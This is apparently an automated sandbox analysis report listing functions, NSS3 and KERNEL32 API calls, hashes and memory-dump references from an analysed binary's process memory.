Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CriticalEnterSectionValue
String ID:
API String ID: 2782078792-0
Opcode ID: 80d711e0ccf11a80bc8a45272c2097c5b54ed772ef2505c75ed3d338a116be36
Instruction ID: 8d38642107764b067531b1e76b6253d72e5a5e3f57ae02072e72e826335ddea2
Opcode Fuzzy Hash: 80d711e0ccf11a80bc8a45272c2097c5b54ed772ef2505c75ed3d338a116be36
Instruction Fuzzy Hash: C511ACB2C00649ABD7008F34C841B1EB7A5FB00369F148269D88857602EB39E9E1CBD2

Function 6BA6C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6BA6C890

Part of subcall function 6BA68F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6BA68FAF
Part of subcall function 6BA68F70: PR_Now.NSS3(?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6BA68FD1
Part of subcall function 6BA68F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6BA68FFA
Part of subcall function 6BA68F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6BA69013
Part of subcall function 6BA68F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353), ref: 6BA69042
Part of subcall function 6BA68F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6BA6905A
Part of subcall function 6BA68F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6BA69073
Part of subcall function 6BA68F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6BA5DA9B,?,00000000,?,?,?,?,CE534353), ref: 6BA69111

PR_GetCurrentThread.NSS3 ref: 6BA6C8B2

Part of subcall function 6BB09BF0: TlsGetValue.KERNEL32(?,?,?,6BB50A75), ref: 6BB09C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6BA6C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BA6C8EB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: e13bf6514f597b3f9b32540f8c1be2b99809a1fd54c7fa9abd7e4d7ed8b093a5
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: DD01DFF6E1011177DF1116B56D81B7F3A699F455D8F080075FD04A7201F75998D493E2

Function 6BA4B9F0 Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

CERT_GetCertTrust.NSS3(?,?), ref: 6BA4BA0B

Part of subcall function 6BA49740: TlsGetValue.KERNEL32 ref: 6BA4975A
Part of subcall function 6BA49740: EnterCriticalSection.KERNEL32 ref: 6BA4976F
Part of subcall function 6BA49740: PR_Unlock.NSS3 ref: 6BA497A7

PORT_ArenaAlloc_Util.NSS3(?,00000010), ref: 6BA4BA26

Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA10F3
Part of subcall function 6BAA10C0: EnterCriticalSection.KERNEL32(?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA110C
Part of subcall function 6BAA10C0: PL_ArenaAllocate.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1141
Part of subcall function 6BAA10C0: PR_Unlock.NSS3(?,?,?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA1182
Part of subcall function 6BAA10C0: TlsGetValue.KERNEL32(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA119C

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6BA4BA4D

Part of subcall function 6BAA10C0: PL_ArenaAllocate.NSS3(?,6BA48802,00000000,00000008,?,6BA3EF74,00000000), ref: 6BAA116E

memcpy.VCRUNTIME140(00000000,?,?), ref: 6BA4BA63

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Arena$Value$Alloc_AllocateCriticalEnterSectionUnlockUtil$CertTrustmemcpy
String ID:
API String ID: 1891477919-0
Opcode ID: bb08c41802fbbbaadbb38dc5bd97d2c512440156ec5dcf930ed07411f63ff339
Instruction ID: 52249d08b114d73a2c5b6f38656f2f9ecb972b8f80510714be7fa7cce6c3c84e
Opcode Fuzzy Hash: bb08c41802fbbbaadbb38dc5bd97d2c512440156ec5dcf930ed07411f63ff339
Instruction Fuzzy Hash: 8911B6B1900259AFCF00DF78DC41A6EBBF8FF09254B448165EC149B241E736D82ACBE0

Function 6BA94900 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000004,6BA7C79F,?,?,6BA95C4A,?), ref: 6BA94950

Part of subcall function 6BA98800: TlsGetValue.KERNEL32(?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98821
Part of subcall function 6BA98800: TlsGetValue.KERNEL32(?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA9883D
Part of subcall function 6BA98800: EnterCriticalSection.KERNEL32(?,?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98856
Part of subcall function 6BA98800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6BA98887
Part of subcall function 6BA98800: PR_Unlock.NSS3(?,?,?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98899

TlsGetValue.KERNEL32(?,?,?), ref: 6BA9496A
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA9497A
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA94989

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 37852efef00ab11862fcdbae9cad8d0a503bd31154bca53f4978cc8d079f760a
Instruction ID: 3b00802d12f44a7a40eea66f608082c6d99e2d204dacea13bc99f755e87c0546
Opcode Fuzzy Hash: 37852efef00ab11862fcdbae9cad8d0a503bd31154bca53f4978cc8d079f760a
Instruction Fuzzy Hash: 7B110B75D102009BEF107F39ED82A2E77E8FF06758B084164ED55D7211EF26E8909791

Function 6BAD9950 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6BAD9968
free.MOZGLUE ref: 6BAD9986
PORT_Strdup_Util.NSS3 ref: 6BAD999D
TlsGetValue.KERNEL32 ref: 6BAD99C0

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: IdentitiesLayerStrdup_UtilValuefree
String ID:
API String ID: 1850533678-0
Opcode ID: 9f3ad56e9a508fca06dec4367bc21a2aa4bb2266477041e002800c69f22a728d
Instruction ID: 15eda38a8f3d5a325396ca7f40958300e8b3abd6fe2c1ac3460c9fbd1b0e5033
Opcode Fuzzy Hash: 9f3ad56e9a508fca06dec4367bc21a2aa4bb2266477041e002800c69f22a728d
Instruction Fuzzy Hash: ED11B1709046019BDB10AF39C65576DBBE4FF05304F054A69D898C7361E738D4C1CB91

Function 6BAB08D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6BAB09B3,0000001A,?), ref: 6BAB08E9

Part of subcall function 6BAA0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6BAA08B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6BAB08FD

Part of subcall function 6BA9FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6BA98D2D,?,00000000,?), ref: 6BA9FB85
Part of subcall function 6BA9FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6BA9FBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6BAB0939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BAB0953

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 166c6490935932b4b72831346403142f15fdfa65bbf38ae7ce53f938e1f53071
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: D701BEB56007067BFF245B759E11B2F779C9F40254F04443EED39C6241FB39E4908A95

Function 6BA4DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6BA606A0: TlsGetValue.KERNEL32 ref: 6BA606C2
Part of subcall function 6BA606A0: EnterCriticalSection.KERNEL32(?), ref: 6BA606D6
Part of subcall function 6BA606A0: PR_Unlock.NSS3 ref: 6BA606EB

CERT_NewCertList.NSS3 ref: 6BA4DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6BA4DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6BA4DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BA4E029

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 6e4753901277352abbf434ba95213b61fdfbca4e6267dcf67f21de1db89a9840
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: D71108B1A50216BBDF208EB85C41B6B76A8EBC0758F080574E928C7200F77ECD9596E1

Function 6BA949C0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

Part of subcall function 6BA98800: TlsGetValue.KERNEL32(?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98821
Part of subcall function 6BA98800: TlsGetValue.KERNEL32(?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA9883D
Part of subcall function 6BA98800: EnterCriticalSection.KERNEL32(?,?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98856
Part of subcall function 6BA98800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6BA98887
Part of subcall function 6BA98800: PR_Unlock.NSS3(?,?,?,?,6BAA085A,00000000,?,6BA48369,?), ref: 6BA98899

PR_SetError.NSS3 ref: 6BA94A10
TlsGetValue.KERNEL32(6BA8781D,?,6BA7BD28,00CD52E8,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BA94A24
EnterCriticalSection.KERNEL32(?,?,?,6BA7BD28,00CD52E8), ref: 6BA94A39
PR_Unlock.NSS3(?,?,?,?,6BA7BD28,00CD52E8), ref: 6BA94A4E

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 861ea02ed34834ee293f9a27d7fa5a19bdf2893b88650cb991640bfb3e76c4c0
Instruction ID: 935f4299705eb088595e54104c481971f5610fcc67b000725362d9b5a3d26297
Opcode Fuzzy Hash: 861ea02ed34834ee293f9a27d7fa5a19bdf2893b88650cb991640bfb3e76c4c0
Instruction Fuzzy Hash: 02218C749146008FDF20BF7AD18652EBBE8FF45744B054968D8958B701EB39E880DB91

Function 6BACD940 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(00000000,?,?,6BACDEBF,00000000), ref: 6BACD957

Part of subcall function 6BA495B0: TlsGetValue.KERNEL32(00000000,?,6BA600D2,00000000), ref: 6BA495D2
Part of subcall function 6BA495B0: EnterCriticalSection.KERNEL32(?,?,?,6BA600D2,00000000), ref: 6BA495E7
Part of subcall function 6BA495B0: PR_Unlock.NSS3(?,?,?,?,6BA600D2,00000000), ref: 6BA49605

PORT_FreeArena_Util.NSS3(?,00000000,?,?,6BACDEBF,00000000), ref: 6BACD96B
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,6BACDEBF,00000000), ref: 6BACD9A1
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,6BACDEBF,00000000), ref: 6BACD9B5

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$Arena_CertificateCriticalDestroyEnterFreeSectionUnlockValue
String ID:
API String ID: 1823385167-0
Opcode ID: eeb4bfd94670110ff4ef04ce9b08176b3ceebb0309db107fc619a5f041390f40
Instruction ID: 6fb260cc88c0a4f5c0f6c546c462cccc3e8732967a9d003324c08ebc4a893e3a
Opcode Fuzzy Hash: eeb4bfd94670110ff4ef04ce9b08176b3ceebb0309db107fc619a5f041390f40
Instruction Fuzzy Hash: 511108B5A8070057EF20DE71EE02B5B73EC6B00645F080978E48AE7941F729F1C4C762

Function 6BAD1AF0 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6BBA2F88,6BAD0660), ref: 6BAD1B08

Part of subcall function 6B9C4C70: TlsGetValue.KERNEL32(?,?,?,6B9C3921,6BBA14E4,6BB0CC70), ref: 6B9C4C97
Part of subcall function 6B9C4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6B9C3921,6BBA14E4,6BB0CC70), ref: 6B9C4CB0
Part of subcall function 6B9C4C70: PR_Unlock.NSS3(?,?,?,?,?,6B9C3921,6BBA14E4,6BB0CC70), ref: 6B9C4CC9

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

TlsGetValue.KERNEL32 ref: 6BAD1B1C
EnterCriticalSection.KERNEL32(?), ref: 6BAD1B2C
PR_Unlock.NSS3 ref: 6BAD1B79

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$CallOnce
String ID:
API String ID: 3443561666-0
Opcode ID: a4305e45e7c4e4a7f09f1de59ac7d8f3fdec44f1d9638287015410e0062775fd
Instruction ID: 6292a6224dc899fcc71f0400ae4c010ef017c840d15dbd45294f6760c0242c92
Opcode Fuzzy Hash: a4305e45e7c4e4a7f09f1de59ac7d8f3fdec44f1d9638287015410e0062775fd
Instruction Fuzzy Hash: D611C2B1E046149FDF006B29D916A3D7BB4EB57B18F0842A4E81887252F73BD4D0CB91

Function 6BA3EAD0 Relevance: 6.1, APIs: 4, Instructions: 54networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6BA3EB13
htonl.WSOCK32(00000000,?), ref: 6BA3EB26
htons.WSOCK32(?), ref: 6BA3EB44
PR_GetCurrentThread.NSS3(?), ref: 6BA3EB58

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: htons$CurrentThreadhtonl
String ID:
API String ID: 2156189399-0
Opcode ID: d840643e339722b593ae76dd7a9ea70c764389bc6efc1f4509366e8ad143b32d
Instruction ID: 43e5a935819a6d98e0b806d0149cdf139884b529804be1b82e4278914f3b4166
Opcode Fuzzy Hash: d840643e339722b593ae76dd7a9ea70c764389bc6efc1f4509366e8ad143b32d
Instruction Fuzzy Hash: 0011B271C347A197DB208F35880167A73A0BF95714B01EB0EE8CA87521E778A8D0C325

Function 6BB098D0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,6BA30936,00000001,?,6BA3102C), ref: 6BB098E5
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6BB09946
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6B9C16B7,00000000), ref: 6BB0994E

Part of subcall function 6B9C1630: TlsGetValue.KERNEL32(00000000,?,6BA30936,00000000,?,6B9C204A), ref: 6B9C1659

free.MOZGLUE(00000000), ref: 6BB0995E

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CountCriticalErrorInitializeLastSectionSpinValuecallocfree
String ID:
API String ID: 1588565019-0
Opcode ID: 3e42808679de770379312172f9deb80dcfc70668f528d4d5947dd6ecf1729c46
Instruction ID: 454cd5039ce411b72031ac3defeed94ed98564b3c95d5fc4bef3f496698ab8d0
Opcode Fuzzy Hash: 3e42808679de770379312172f9deb80dcfc70668f528d4d5947dd6ecf1729c46
Instruction Fuzzy Hash: 4B01AD71640711AFDB20AF6C8D0AB3B7FA8FB46B05F00442AE18AE3641DF79D004CBA1

Function 6BAD2BE0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6BAD2A28,00000060,00000001), ref: 6BAD2BF0

Part of subcall function 6BA495B0: TlsGetValue.KERNEL32(00000000,?,6BA600D2,00000000), ref: 6BA495D2
Part of subcall function 6BA495B0: EnterCriticalSection.KERNEL32(?,?,?,6BA600D2,00000000), ref: 6BA495E7
Part of subcall function 6BA495B0: PR_Unlock.NSS3(?,?,?,?,6BA600D2,00000000), ref: 6BA49605

CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6BAD2A28,00000060,00000001), ref: 6BAD2C07
SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6BAD2A28,00000060,00000001), ref: 6BAD2C1E
free.MOZGLUE(?,00000000,00000000,?,6BAD2A28,00000060,00000001), ref: 6BAD2C4A

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Destroy$Certificate$CriticalEnterPublicSectionUnlockValuefree
String ID:
API String ID: 358400960-0
